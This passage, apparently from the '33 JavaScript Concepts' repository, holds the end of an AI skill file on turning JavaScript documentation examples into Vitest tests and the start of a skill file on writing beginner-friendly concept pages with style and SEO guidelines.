============================================================ // SECTION NAME FROM DOCUMENTATION // From {concept}.mdx lines XX-YY // ============================================================ describe('Section Name', () => { // From lines 45-52: Basic typeof examples it('should return correct type strings', () => { // Test }) }) ``` --- ## Test Patterns Reference ### Pattern 1: Basic Value Assertion **Documentation:** ```javascript console.log(typeof "hello") // "string" console.log(typeof 42) // "number" ``` **Test:** ```javascript // From lines XX-YY: typeof examples it('should return correct type for primitives', () => { expect(typeof "hello").toBe("string") expect(typeof 42).toBe("number") }) ``` --- ### Pattern 2: Multiple Related Assertions **Documentation:** ```javascript let a = "hello" let b = "hello" console.log(a === b) // true let obj1 = { x: 1 } let obj2 = { x: 1 } console.log(obj1 === obj2) // false ``` **Test:** ```javascript // From lines XX-YY: Primitive vs object comparison it('should compare primitives by value', () => { let a = "hello" let b = "hello" expect(a === b).toBe(true) }) it('should compare objects by reference', () => { let obj1 = { x: 1 } let obj2 = { x: 1 } expect(obj1 === obj2).toBe(false) }) ``` --- ### Pattern 3: Function Return Values **Documentation:** ```javascript function greet(name) { return "Hello, " + name + "!" } console.log(greet("Alice")) // "Hello, Alice!" ``` **Test:** ```javascript // From lines XX-YY: greet function example it('should return greeting with name', () => { function greet(name) { return "Hello, " + name + "!" } expect(greet("Alice")).toBe("Hello, Alice!") }) ``` --- ### Pattern 4: Error Testing **Documentation:** ```javascript // This throws an error! const obj = null console.log(obj.property) // TypeError: Cannot read property of null ``` **Test:** ```javascript // From lines XX-YY: Accessing property of null it('should throw TypeError when accessing property of null', () => { const obj = null expect(() => { obj.property }).toThrow(TypeError) }) ``` --- ### Pattern 5: Specific Error Messages **Documentation:** ```javascript function divide(a, b) { if (b === 0) throw new Error("Cannot divide by zero") return a / b } ``` **Test:** ```javascript // From lines XX-YY: divide function with error it('should throw error when dividing by zero', () => { function divide(a, b) { if (b === 0) throw new Error("Cannot divide by zero") return a / b } expect(() => divide(10, 0)).toThrow("Cannot divide by zero") expect(divide(10, 2)).toBe(5) }) ``` --- ### Pattern 6: Async/Await Testing **Documentation:** ```javascript async function fetchUser(id) { const response = await fetch(`/api/users/${id}`) return response.json() } ``` **Test:** ```javascript // From lines XX-YY: async fetchUser function it('should fetch user data asynchronously', async () => { // Mock fetch for testing global.fetch = vi.fn(() => Promise.resolve({ json: () => Promise.resolve({ id: 1, name: 'Alice' }) }) ) async function fetchUser(id) { const response = await fetch(`/api/users/${id}`) return response.json() } const user = await fetchUser(1) expect(user).toEqual({ id: 1, name: 'Alice' }) }) ``` --- ### Pattern 7: Promise Testing **Documentation:** ```javascript const promise = new Promise((resolve) => { resolve("done") }) promise.then(result => console.log(result)) // "done" ``` **Test:** ```javascript // From lines XX-YY: Basic Promise resolution it('should resolve with correct value', async () => { const promise = new Promise((resolve) => { resolve("done") }) await expect(promise).resolves.toBe("done") }) ``` --- ### Pattern 8: Promise Rejection **Documentation:** ```javascript const promise = new Promise((resolve, reject) => { reject(new Error("Something went wrong")) }) ``` **Test:** ```javascript // From lines XX-YY: Promise rejection it('should reject with error', async () => { const promise = new Promise((resolve, reject) => { reject(new Error("Something went wrong")) }) await expect(promise).rejects.toThrow("Something went wrong") }) ``` --- ### Pattern 9: Floating Point Comparison **Documentation:** ```javascript console.log(0.1 + 0.2) // 0.30000000000000004 console.log(0.1 + 0.2 === 0.3) // false ``` **Test:** ```javascript // From lines XX-YY: Floating point precision it('should demonstrate floating point imprecision', () => { expect(0.1 + 0.2).not.toBe(0.3) expect(0.1 + 0.2).toBeCloseTo(0.3) expect(0.1 + 0.2 === 0.3).toBe(false) }) ``` --- ### Pattern 10: Array Method Testing **Documentation:** ```javascript const numbers = [1, 2, 3, 4, 5] const doubled = numbers.map(n => n * 2) console.log(doubled) // [2, 4, 6, 8, 10] ``` **Test:** ```javascript // From lines XX-YY: Array map example it('should double all numbers in array', () => { const numbers = [1, 2, 3, 4, 5] const doubled = numbers.map(n => n * 2) expect(doubled).toEqual([2, 4, 6, 8, 10]) expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged }) ``` --- ### Pattern 11: Object Mutation Testing **Documentation:** ```javascript const obj = { a: 1 } obj.b = 2 console.log(obj) // { a: 1, b: 2 } ``` **Test:** ```javascript // From lines XX-YY: Object mutation it('should allow adding properties to objects', () => { const obj = { a: 1 } obj.b = 2 expect(obj).toEqual({ a: 1, b: 2 }) }) ``` --- ### Pattern 12: Closure Testing **Documentation:** ```javascript function counter() { let count = 0 return function() { count++ return count } } const increment = counter() console.log(increment()) // 1 console.log(increment()) // 2 console.log(increment()) // 3 ``` **Test:** ```javascript // From lines XX-YY: Closure counter example it('should maintain state across calls via closure', () => { function counter() { let count = 0 return function() { count++ return count } } const increment = counter() expect(increment()).toBe(1) expect(increment()).toBe(2) expect(increment()).toBe(3) }) it('should create independent counters', () => { function counter() { let count = 0 return function() { count++ return count } } const counter1 = counter() const counter2 = counter() expect(counter1()).toBe(1) expect(counter1()).toBe(2) expect(counter2()).toBe(1) // Independent }) ``` --- ### Pattern 13: DOM Event Testing **Documentation:** ```javascript const button = document.getElementById('myButton') button.addEventListener('click', function(event) { console.log('Button clicked!') console.log(event.type) // "click" }) ``` **Test (in .dom.test.js file):** ```javascript /** * @vitest-environment jsdom */ import { describe, it, expect, beforeEach, afterEach } from 'vitest' describe('DOM Event Handlers', () => { let button beforeEach(() => { button = document.createElement('button') button.id = 'myButton' document.body.appendChild(button) }) afterEach(() => { document.body.innerHTML = '' }) // From lines XX-YY: Button click event it('should fire click event handler', () => { const output = [] button.addEventListener('click', function(event) { output.push('Button clicked!') output.push(event.type) }) button.click() expect(output).toEqual(['Button clicked!', 'click']) }) }) ``` --- ### Pattern 14: DOM Manipulation Testing **Documentation:** ```javascript const div = document.createElement('div') div.textContent = 'Hello' div.classList.add('greeting') document.body.appendChild(div) ``` **Test:** ```javascript // From lines XX-YY: Creating and appending elements it('should create element with text and class', () => { const div = document.createElement('div') div.textContent = 'Hello' div.classList.add('greeting') document.body.appendChild(div) const element = document.querySelector('.greeting') expect(element).not.toBeNull() expect(element.textContent).toBe('Hello') expect(element.classList.contains('greeting')).toBe(true) }) ``` --- ### Pattern 15: Timer Testing **Documentation:** ```javascript console.log('First') setTimeout(() => console.log('Second'), 0) console.log('Third') // Output: First, Third, Second ``` **Test:** ```javascript // From lines XX-YY: setTimeout execution order it('should execute setTimeout callback after synchronous code', async () => { const output = [] output.push('First') setTimeout(() => output.push('Second'), 0) output.push('Third') // Wait for setTimeout to execute await new Promise(resolve => setTimeout(resolve, 10)) expect(output).toEqual(['First', 'Third', 'Second']) }) ``` --- ### Pattern 16: Strict Mode Behavior **Documentation:** ```javascript // In strict mode, this throws "use strict" x = 10 // ReferenceError: x is not defined ``` **Test:** ```javascript // From lines XX-YY: Strict mode variable declaration it('should throw ReferenceError in strict mode for undeclared variables', () => { // Vitest runs in strict mode by default expect(() => { // Using eval to test strict mode behavior "use strict" eval('undeclaredVar = 10') }).toThrow() }) ``` --- ## Complete Test File Template ```javascript import { describe, it, expect } from 'vitest' describe('[Concept Name]', () => { // ============================================================ // [FIRST SECTION NAME FROM DOCUMENTATION] // From [concept].mdx lines XX-YY // ============================================================ describe('[First Section]', () => { // From lines XX-YY: [Brief description of example] it('should [expected behavior]', () => { // Code from documentation expect(result).toBe(expected) }) // From lines XX-YY: [Brief description of next example] it('should [another expected behavior]', () => { // Code from documentation expect(result).toEqual(expected) }) }) // ============================================================ // [SECOND SECTION NAME FROM DOCUMENTATION] // From [concept].mdx lines XX-YY // ============================================================ describe('[Second Section]', () => { // From lines XX-YY: [Description] it('should [behavior]', () => { // Test }) }) // ============================================================ // EDGE CASES AND COMMON MISTAKES // From [concept].mdx lines XX-YY // ============================================================ describe('Edge Cases', () => { // From lines XX-YY: [Edge case description] it('should handle [edge case]', () => { // Test }) }) describe('Common Mistakes', () => { // From lines XX-YY: Wrong way example it('should demonstrate the incorrect behavior', () => { // Test showing why the "wrong" way fails }) // From lines XX-YY: Correct way example it('should demonstrate the correct behavior', () => { // Test showing the right approach }) }) }) ``` --- ## Complete DOM Test File Template ```javascript /** * @vitest-environment jsdom */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' // ============================================================ // DOM EXAMPLES FROM [CONCEPT NAME] // From [concept].mdx lines XX-YY // ============================================================ describe('[Concept Name] - DOM', () => { // Shared setup let container beforeEach(() => { // Create a fresh container for each test container = document.createElement('div') container.id = 'test-container' document.body.appendChild(container) }) afterEach(() => { // Clean up after each test document.body.innerHTML = '' vi.restoreAllMocks() }) // ============================================================ // [SECTION NAME] // From lines XX-YY // ============================================================ describe('[Section Name]', () => { // From lines XX-YY: [Example description] it('should [expected DOM behavior]', () => { // Setup const element = document.createElement('div') container.appendChild(element) // Action element.textContent = 'Hello' // Assert expect(element.textContent).toBe('Hello') }) }) // ============================================================ // EVENT HANDLING // From lines XX-YY // ============================================================ describe('Event Handling', () => { // From lines XX-YY: Click event example it('should handle click events', () => { const button = document.createElement('button') container.appendChild(button) let clicked = false button.addEventListener('click', () => { clicked = true }) button.click() expect(clicked).toBe(true) }) }) }) ``` --- ## Running Tests ```bash # Run all tests npm test # Run tests for specific concept npm test -- tests/fundamentals/primitive-types/ # Run tests for specific file npm test -- tests/fundamentals/primitive-types/primitive-types.test.js # Run DOM tests only npm test -- tests/fundamentals/primitive-types/primitive-types.dom.test.js # Run with watch mode npm run test:watch # Run with coverage npm run test:coverage # Run with verbose output npm test -- --reporter=verbose ``` --- ## Quality Checklist ### Completeness - [ ] All testable code examples have corresponding tests - [ ] Tests organized by documentation sections - [ ] Source line references included in comments (From lines XX-YY) - [ ] DOM tests in separate `.dom.test.js` file - [ ] Edge cases and error examples tested ### Correctness - [ ] Tests verify the actual documented behavior - [ ] Output comments in docs match test expectations - [ ] Async tests properly use async/await - [ ] Error tests use correct `toThrow` pattern - [ ] Floating point comparisons use `toBeCloseTo` - [ ] Object comparisons use `toEqual` (not `toBe`) ### Convention - [ ] Uses explicit imports from vitest - [ ] Follows describe/it nesting pattern - [ ] Test names start with "should" - [ ] Proper file naming (`{concept}.test.js`) - [ ] DOM tests have jsdom environment directive ### Verification - [ ] All tests pass: `npm test -- tests/{category}/{concept}/` - [ ] No skipped tests without documented reason - [ ] No false positives (tests that pass for wrong reasons) --- ## Test Report Template Use this template to document test coverage for a concept page. ```markdown # Test Coverage Report: [Concept Name] **Concept Page:** `/docs/concepts/[slug].mdx` **Test File:** `/tests/{category}/{concept}/{concept}.test.js` **DOM Test File:** `/tests/{category}/{concept}/{concept}.dom.test.js` (if applicable) **Date:** YYYY-MM-DD **Author:** [Name/Claude] ## Summary | Metric | Count | |--------|-------| | Total Code Examples in Doc | XX | | Testable Examples | XX | | Tests Written | XX | | DOM Tests Written | XX | | Skipped (with reason) | XX | ## Tests by Section | Section | Line Range | Examples | Tests | Status | |---------|------------|----------|-------|--------| | [Section 1] | XX-YY | X | X | ✅ | | [Section 2] | XX-YY | X | X | ✅ | | [Section 3] | XX-YY | X | X | ⚠️ (1 skipped) | ## Skipped Examples | Line | Example Description | Reason | |------|---------------------|--------| | XX | ASCII diagram of call stack | Conceptual, not executable | | YY | Browser fetch example | Requires network, mocked instead | ## Test Execution ```bash npm test -- tests/{category}/{concept}/ ``` **Result:** ✅ XX passing | ❌ X failing | ⏭️ X skipped ## Notes [Any special considerations, mock requirements, or issues encountered] ``` --- ## Common Issues and Solutions ### Issue: Test passes but shouldn't **Problem:** Test expectations don't match documentation output **Solution:** Double-check the expected value matches the `console.log` comment exactly ```javascript // Documentation says: console.log(result) // [1, 2, 3] // Make sure test uses: expect(result).toEqual([1, 2, 3]) // NOT toBe for arrays ``` ### Issue: Async test times out **Problem:** Async test never resolves **Solution:** Ensure all promises are awaited and async function is marked ```javascript // Bad it('should fetch data', () => { const data = fetchData() // Missing await! expect(data).toBeDefined() }) // Good it('should fetch data', async () => { const data = await fetchData() expect(data).toBeDefined() }) ``` ### Issue: DOM test fails with "document is not defined" **Problem:** Missing jsdom environment **Solution:** Add environment directive at top of file ```javascript /** * @vitest-environment jsdom */ ``` ### Issue: Test isolation problems **Problem:** Tests affect each other **Solution:** Use beforeEach/afterEach for cleanup ```javascript afterEach(() => { document.body.innerHTML = '' vi.restoreAllMocks() }) ``` --- ## Summary When writing tests for a concept page: 1. **Extract all code examples** from the documentation 2. **Categorize** as testable, DOM, error, or conceptual 3. **Create test file** in correct location with proper naming 4. **Convert each example** to test using appropriate pattern 5. **Reference source lines** in comments for traceability 6. **Run tests** to verify all pass 7. **Document coverage** using the report template **Remember:** Tests serve two purposes: 1. Verify documentation is accurate 2. Catch regressions if code examples are updated Every testable code example in the documentation should have a corresponding test. If an example can't be tested, document why. ================================================ FILE: .claude/skills/write-concept/SKILL.md ================================================ --- name: write-concept description: Write or review JavaScript concept documentation pages for the 33 JavaScript Concepts project, following strict structure and quality guidelines --- # Skill: Write JavaScript Concept Documentation Use this skill when writing or improving concept documentation pages for the 33 JavaScript Concepts project. ## When to Use - Creating a new concept page in `/docs/concepts/` - Rewriting or significantly improving an existing concept page - Reviewing an existing concept page for quality and completeness - Adding explanatory content to a concept ## Target Audience Remember: **the reader might be someone who has never coded before or is just learning JavaScript**. Write with empathy for beginners while still providing depth for intermediate developers. Make complex topics feel approachable and never assume prior knowledge without linking to prerequisites. ## Writing Guidelines ### Voice and Tone - **Conversational but authoritative**: Write like you're explaining to a smart friend - **Encouraging**: Make complex topics feel approachable - **Practical**: Focus on real-world applications and use cases - **Concise**: Respect the reader's time; avoid unnecessary verbosity - **Question-driven**: Open sections with questions the reader might have ### Avoiding AI-Generated Language Your writing must sound human, not AI-generated. Here are specific patterns to avoid: #### Words and Phrases to Avoid | ❌ Avoid | ✓ Use Instead | |----------|---------------| | "Master [concept]" | "Learn [concept]" | | "dramatically easier/better" | "much easier" or "cleaner" | | "one fundamental thing" | "one simple thing" | | "one of the most important concepts" | "This is a big one" | | "essential points" | "key things to remember" | | "understanding X deeply improves" | "knowing X well makes Y easier" | | "To truly understand" | "Let's look at" or "Here's how" | | "This is crucial" | "This trips people up" | | "It's worth noting that" | Just state the thing directly | | "It's important to remember" | "Don't forget:" or "Remember:" | | "In order to" | "To" | | "Due to the fact that" | "Because" | | "At the end of the day" | Remove entirely | | "When it comes to" | Remove or rephrase | | "In this section, we will" | Just start explaining | | "As mentioned earlier" | Remove or link to the section | #### Repetitive Emphasis Patterns Don't use the same lead-in pattern repeatedly. Vary your emphasis: | Instead of repeating... | Vary with... | |------------------------|--------------| | "Key insight:" | "Don't forget:", "The pattern:", "Here's the thing:" | | "Best practice:" | "Pro tip:", "Quick check:", "A good habit:" | | "Important:" | "Watch out:", "Heads up:", "Note:" | | "Remember:" | "Keep in mind:", "The rule:", "Think of it this way:" | #### Em Dash (—) Overuse AI-generated text overuses em dashes. Limit their use and prefer periods, commas, or colons: | ❌ Em Dash Overuse | ✓ Better Alternative | |-------------------|---------------------| | "async/await — syntactic sugar that..." | "async/await. It's syntactic sugar that..." | | "understand Promises — async/await is built..." | "understand Promises. async/await is built..." | | "doesn't throw an error — you just get..." | "doesn't throw an error. You just get..." | | "outside of async functions — but only in..." | "outside of async functions, but only in..." | | "Fails fast — if any Promise rejects..." | "Fails fast. If any Promise rejects..." | | "achieve the same thing — the choice..." | "achieve the same thing. The choice..." | **When em dashes ARE acceptable:** - In Key Takeaways section (consistent formatting for the numbered list) - In MDN card titles (e.g., "async function — MDN") - In interview answer step-by-step explanations (structured formatting) - Sparingly when a true parenthetical aside reads naturally **Rule of thumb:** If you have more than 10-15 em dashes in a 1500-word document outside of structured sections, you're overusing them. After writing, search for "—" and evaluate each one. #### Superlatives and Filler Words Avoid vague superlatives that add no information: | ❌ Avoid | ✓ Use Instead | |----------|---------------| | "dramatically" | "much" or remove entirely | | "fundamentally" | "simply" or be specific about what's fundamental | | "incredibly" | remove or be specific | | "extremely" | remove or be specific | | "absolutely" | remove | | "basically" | remove (if you need it, you're not explaining clearly) | | "essentially" | remove or just explain directly | | "very" | remove or use a stronger word | | "really" | remove | | "actually" | remove (unless correcting a misconception) | | "In fact" | remove (just state the fact) | | "Interestingly" | remove (let the reader decide if it's interesting) | #### Stiff/Formal Phrases Replace formal academic-style phrases with conversational alternatives: | ❌ Stiff | ✓ Conversational | |---------|------------------| | "It should be noted that" | "Note that" or just state it | | "One might wonder" | "You might wonder" | | "This enables developers to" | "This lets you" | | "The aforementioned" | "this" or name it again | | "Subsequently" | "Then" or "Next" | | "Utilize" | "Use" | | "Commence" | "Start" | | "Prior to" | "Before" | | "In the event that" | "If" | | "A considerable amount of" | "A lot of" or "Many" | #### Playful Touches (Use Sparingly) Add occasional human touches to make the content feel less robotic, but don't overdo it: ```javascript // ✓ Good: One playful comment per section // Callback hell - nested so deep you need a flashlight // ✓ Good: Conversational aside // forEach and async don't play well together — it just fires and forgets: // ✓ Good: Relatable frustration // Finally, error handling that doesn't make you want to flip a table. // ❌ Bad: Trying too hard // Callback hell - it's like a Russian nesting doll had a baby with a spaghetti monster! 🍝 // ❌ Bad: Forced humor // Let's dive into the AMAZING world of Promises! 🎉🚀 ``` **Guidelines:** - One or two playful touches per major section is enough - Humor should arise naturally from the content - Avoid emojis in body text (they're fine in comments occasionally) - Don't explain your jokes - If a playful line doesn't work, just be direct instead ### Page Structure (Follow This Exactly) Every concept page MUST follow this structure in this exact order: ```mdx --- title: "Concept Name: [Hook] in JavaScript" sidebarTitle: "Concept Name: [Hook]" description: "SEO-friendly description in 150-160 characters starting with action word" --- [Opening hook - Start with engaging questions that make the reader curious] [Example: "How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API?"] [Immediately show a simple code example demonstrating the concept] ```javascript // This is how you [do the thing] in JavaScript const example = doSomething() console.log(example) // Expected output ``` [Brief explanation connecting to what they'll learn, with **[inline MDN links](https://developer.mozilla.org/...)** for key terms] **What you'll learn in this guide:** - Key learning outcome 1 - Key learning outcome 2 - Key learning outcome 3 - Key learning outcome 4 (aim for 5-7 items) [Optional: Prerequisites or important notices - place AFTER Info box] **Prerequisite:** This guide assumes you understand [Related Concept](/concepts/related-concept). If you're not comfortable with that yet, read that guide first! --- ## [First Major Section - e.g., "What is X?"] [Core explanation with inline MDN links for any new terms/APIs introduced] [Optional: CardGroup with MDN reference links for this section] --- ## [Analogy Section - e.g., "The Restaurant Analogy"] [Relatable real-world analogy that makes the concept click] [ASCII art diagram visualizing the concept] ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ DIAGRAM TITLE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ [Visual representation of the concept] │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## [Core Concepts Section] [Deep dive with code examples, tables, and Mintlify components] Explanation of the first step Explanation of the second step Detailed explanation with code examples Detailed explanation with code examples **Quick Rule of Thumb:** [Memorable summary or mnemonic] --- ## [The API/Implementation Section] [How to actually use the concept in code] ### Basic Usage ```javascript // Basic example with step-by-step comments // Step 1: Do this const step1 = something() // Step 2: Then this const step2 = somethingElse(step1) // Step 3: Finally console.log(step2) // Expected output ``` ### [Advanced Pattern] ```javascript // More complex real-world example ``` --- ## [Common Mistakes Section - e.g., "The #1 Fetch Mistake"] [Highlight the most common mistake developers make] ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ VISUAL COMPARISON │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WRONG WAY RIGHT WAY │ │ ───────── ───────── │ │ • Problem 1 • Solution 1 │ │ • Problem 2 • Solution 2 │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ```javascript // ❌ WRONG - Explanation of why this is wrong const bad = wrongApproach() // ✓ CORRECT - Explanation of the right way const good = correctApproach() ``` **The Trap:** [Clear explanation of what goes wrong and why] --- ## [Advanced Patterns Section] [Real-world patterns and best practices] ### Pattern Name ```javascript // Reusable pattern with practical application async function realWorldExample() { // Implementation } // Usage const result = await realWorldExample() ``` --- ## Key Takeaways **The key things to remember:** 1. **First key point** — Brief explanation 2. **Second key point** — Brief explanation 3. **Third key point** — Brief explanation 4. **Fourth key point** — Brief explanation 5. **Fifth key point** — Brief explanation [Aim for 8-10 key takeaways that summarize everything] --- ## Test Your Knowledge **Answer:** [Clear explanation] ```javascript // Code example demonstrating the answer ``` **Answer:** [Clear explanation with code if needed] [Aim for 5-6 questions covering the main topics] --- ## Related Concepts How it connects to this concept How it connects to this concept --- ## Reference Official MDN documentation for the main concept Additional MDN reference ## Articles Brief description of what the reader will learn from this article. [Aim for 4-6 high-quality articles] ## Videos Brief description of what the video covers. [Aim for 3-4 quality videos] ``` --- ## SEO Guidelines SEO (Search Engine Optimization) is **critical** for this project. Each concept page should rank for the various ways developers search for that concept. Our goal is to appear in search results for queries like: - "what is [concept] in JavaScript" - "how does [concept] work in JavaScript" - "[concept] JavaScript explained" - "[concept] JavaScript tutorial" - "JavaScript [concept] example" Every writing decision — from title to structure to word choice — should consider search intent. --- ### Target Keywords for Each Concept Each concept page targets a **keyword cluster** — the family of related search queries. Before writing, identify these for your concept: | Keyword Type | Pattern | Example (DOM) | |--------------|---------|---------------| | **Primary** | [concept] + JavaScript | "DOM JavaScript", "JavaScript DOM" | | **What is** | what is [concept] in JavaScript | "what is the DOM in JavaScript" | | **How does** | how does [concept] work | "how does the DOM work in JavaScript" | | **How to** | how to [action] with [concept] | "how to manipulate the DOM" | | **Tutorial** | [concept] tutorial/guide/explained | "DOM tutorial JavaScript" | | **Comparison** | [concept] vs [related] | "DOM vs virtual DOM" | **More Keyword Cluster Examples:** | Type | Keywords | |------|----------| | Primary | "JavaScript closures", "closures in JavaScript" | | What is | "what is a closure in JavaScript", "what are closures" | | How does | "how do closures work in JavaScript", "how closures work" | | Why use | "why use closures JavaScript", "closure use cases" | | Example | "JavaScript closure example", "closure examples" | | Interview | "closure interview questions JavaScript" | | Type | Keywords | |------|----------| | Primary | "JavaScript Promises", "Promises in JavaScript" | | What is | "what is a Promise in JavaScript", "what are Promises" | | How does | "how do Promises work", "how Promises work JavaScript" | | How to | "how to use Promises", "how to chain Promises" | | Comparison | "Promises vs callbacks", "Promises vs async await" | | Error | "Promise error handling", "Promise catch" | | Type | Keywords | |------|----------| | Primary | "JavaScript event loop", "event loop JavaScript" | | What is | "what is the event loop in JavaScript" | | How does | "how does the event loop work", "how event loop works" | | Visual | "event loop explained", "event loop visualization" | | Related | "call stack and event loop", "task queue JavaScript" | | Type | Keywords | |------|----------| | Primary | "JavaScript call stack", "call stack JavaScript" | | What is | "what is the call stack in JavaScript" | | How does | "how does the call stack work" | | Error | "call stack overflow JavaScript", "maximum call stack size exceeded" | | Visual | "call stack explained", "call stack visualization" | --- ### Title Tag Optimization The frontmatter has **two title fields**: - `title` — The page's `` tag (SEO, appears in search results) - `sidebarTitle` — The sidebar navigation text (cleaner, no "JavaScript" since we're on a JS site) **The Two-Title Pattern:** ```mdx --- title: "Closures: How Functions Remember Their Scope in JavaScript" sidebarTitle: "Closures: How Functions Remember Their Scope" --- ``` - **`title`** ends with "in JavaScript" for SEO keyword placement - **`sidebarTitle`** omits "JavaScript" for cleaner navigation **Rules:** 1. **50-60 characters** ideal length for `title` (Google truncates longer titles) 2. **Concept name first** — lead with the topic, "JavaScript" comes at the end 3. **Add a hook** — what will the reader understand or be able to do? 4. **Be specific** — generic titles don't rank **Title Formulas That Work:** ``` title: "[Concept]: [What You'll Understand] in JavaScript" sidebarTitle: "[Concept]: [What You'll Understand]" title: "[Concept]: [Benefit or Outcome] in JavaScript" sidebarTitle: "[Concept]: [Benefit or Outcome]" ``` **Title Examples:** | ❌ Bad | ✓ title (SEO) | ✓ sidebarTitle (Navigation) | |--------|---------------|----------------------------| | `"Closures"` | `"Closures: How Functions Remember Their Scope in JavaScript"` | `"Closures: How Functions Remember Their Scope"` | | `"DOM"` | `"DOM: How Browsers Represent Web Pages in JavaScript"` | `"DOM: How Browsers Represent Web Pages"` | | `"Promises"` | `"Promises: Handling Async Operations in JavaScript"` | `"Promises: Handling Async Operations"` | | `"Call Stack"` | `"Call Stack: How Function Execution Works in JavaScript"` | `"Call Stack: How Function Execution Works"` | | `"Event Loop"` | `"Event Loop: How Async Code Actually Runs in JavaScript"` | `"Event Loop: How Async Code Actually Runs"` | | `"Scope"` | `"Scope and Closures: Variable Visibility in JavaScript"` | `"Scope and Closures: Variable Visibility"` | | `"this"` | `"this: How Context Binding Works in JavaScript"` | `"this: How Context Binding Works"` | | `"Prototype"` | `"Prototype Chain: Understanding Inheritance in JavaScript"` | `"Prototype Chain: Understanding Inheritance"` | **Character Count Check:** Before finalizing, verify your `title` length: - Under 50 chars: Consider adding more descriptive context - 50-60 chars: Perfect length - Over 60 chars: Will be truncated in search results — shorten it --- ### Meta Description Optimization The `description` field becomes the meta description — **the snippet users see in search results**. A compelling description increases click-through rate. **Rules:** 1. **150-160 characters** maximum (Google truncates longer descriptions) 2. **Include primary keyword** in the first half 3. **Include secondary keywords** naturally if space allows 4. **Start with an action word** — "Learn", "Understand", "Discover" (avoid "Master" — sounds AI-generated) 5. **Promise specific value** — what will they learn? 6. **End with a hook** — give them a reason to click **Description Formula:** ``` [Action word] [what the concept is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3]. ``` **Description Examples:** | Concept | ❌ Too Short (Low CTR) | ✓ SEO-Optimized (150-160 chars) | |---------|----------------------|--------------------------------| | DOM | `"Understanding the DOM"` | `"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering."` | | Closures | `"Functions that remember"` | `"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns."` | | Promises | `"Async JavaScript"` | `"Understand JavaScript Promises for handling asynchronous operations. Learn to create, chain, and combine Promises, handle errors properly, and write cleaner async code."` | | Event Loop | `"How async works"` | `"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking."` | | Call Stack | `"Function execution"` | `"Learn how the JavaScript call stack tracks function execution. Understand stack frames, execution context, stack overflow errors, and how recursion affects the stack."` | | this | `"Understanding this"` | `"Learn the 'this' keyword in JavaScript and how context binding works. Covers the four binding rules, arrow function behavior, and how to use call, apply, and bind."` | **Character Count Check:** - Under 120 chars: You're leaving value on the table — add more specifics - 150-160 chars: Optimal length - Over 160 chars: Will be truncated — edit ruthlessly --- ### Keyword Placement Strategy Keywords must appear in strategic locations — but **always naturally**. Keyword stuffing hurts rankings. **Priority Placement Locations:** | Priority | Location | How to Include | |----------|----------|----------------| | 🔴 Critical | Title | Primary keyword in first half | | 🔴 Critical | Meta description | Primary keyword + 1-2 secondary | | 🔴 Critical | First paragraph | Natural mention within first 100 words | | 🟠 High | H2 headings | Question-format headings with keywords | | 🟠 High | "What you'll learn" box | Topic-related phrases | | 🟡 Medium | H3 subheadings | Related keywords and concepts | | 🟡 Medium | Key Takeaways | Reinforce main keywords naturally | | 🟢 Good | Alt text | If using images, include keywords | **Example: Keyword Placement for DOM Page** ```mdx --- title: "DOM: How Browsers Represent Web Pages in JavaScript" ← 🔴 Primary: "in JavaScript" at end sidebarTitle: "DOM: How Browsers Represent Web Pages" ← Sidebar: no "JavaScript" description: "Learn how the DOM works in JavaScript. Understand ← 🔴 Primary: "DOM works in JavaScript" how browsers represent HTML as a tree, select and manipulate ← 🔴 Secondary: "manipulate elements" elements, traverse nodes, and optimize rendering." --- How does JavaScript change what you see on a webpage? ← Hook question The **Document Object Model (DOM)** is a programming interface ← 🔴 Primary keyword in first paragraph for web documents. It represents your HTML as a **tree of objects** that JavaScript can read and manipulate. <Info> **What you'll learn in this guide:** ← 🟠 Topic reinforcement - What the DOM actually is - How to select elements (getElementById vs querySelector) ← Secondary keywords - How to traverse the DOM tree - How to create, modify, and remove elements ← "DOM" implicit - How browsers render the DOM (Critical Rendering Path) </Info> ## What is the DOM in JavaScript? ← 🟠 H2 with question keyword The DOM (Document Object Model) is... ← Natural repetition ## How the DOM Works ← 🟠 H2 with "how" keyword ## DOM Manipulation Methods ← 🟡 H3 with related keyword ## Key Takeaways ← 🟡 Reinforce in summary ``` **Warning Signs of Keyword Stuffing:** - Same exact phrase appears more than 3-4 times per 1000 words - Sentences read awkwardly because keywords were forced in - Using keywords where pronouns ("it", "they", "this") would be natural --- ### Answering Search Intent Google ranks pages that **directly answer the user's query**. Structure your content to satisfy search intent immediately. **The First Paragraph Rule:** The first paragraph after any H2 should directly answer the implied question. Don't build up to the answer — lead with it. ```mdx <!-- ❌ BAD: Builds up to the answer --> ## What is the Event Loop? Before we can understand the event loop, we need to talk about JavaScript's single-threaded nature. You see, JavaScript can only do one thing at a time, and this creates some interesting challenges. The way JavaScript handles this is through something called... the event loop. <!-- ✓ GOOD: Answers immediately --> ## What is the Event Loop? The **event loop** is JavaScript's mechanism for executing code, handling events, and managing asynchronous operations. It continuously monitors the call stack and task queue, moving queued callbacks to the stack when it's empty — this is how JavaScript handles async code despite being single-threaded. ``` **Question-Format H2 Headings:** Use H2s that match how people search: | Search Query | H2 to Use | |--------------|-----------| | "what is the DOM" | `## What is the DOM?` | | "how closures work" | `## How Do Closures Work?` | | "why use promises" | `## Why Use Promises?` | | "when to use async await" | `## When Should You Use async/await?` | --- ### Featured Snippet Optimization Featured snippets appear at **position zero** — above all organic results. Structure your content to win them. **Snippet Types and How to Win Them:** ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ FEATURED SNIPPET TYPES │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ QUERY TYPE SNIPPET FORMAT YOUR CONTENT STRUCTURE │ │ ─────────── ────────────── ───────────────────────── │ │ │ │ "What is X" Paragraph 40-60 word definition │ │ immediately after H2 │ │ │ │ "How to X" Numbered list 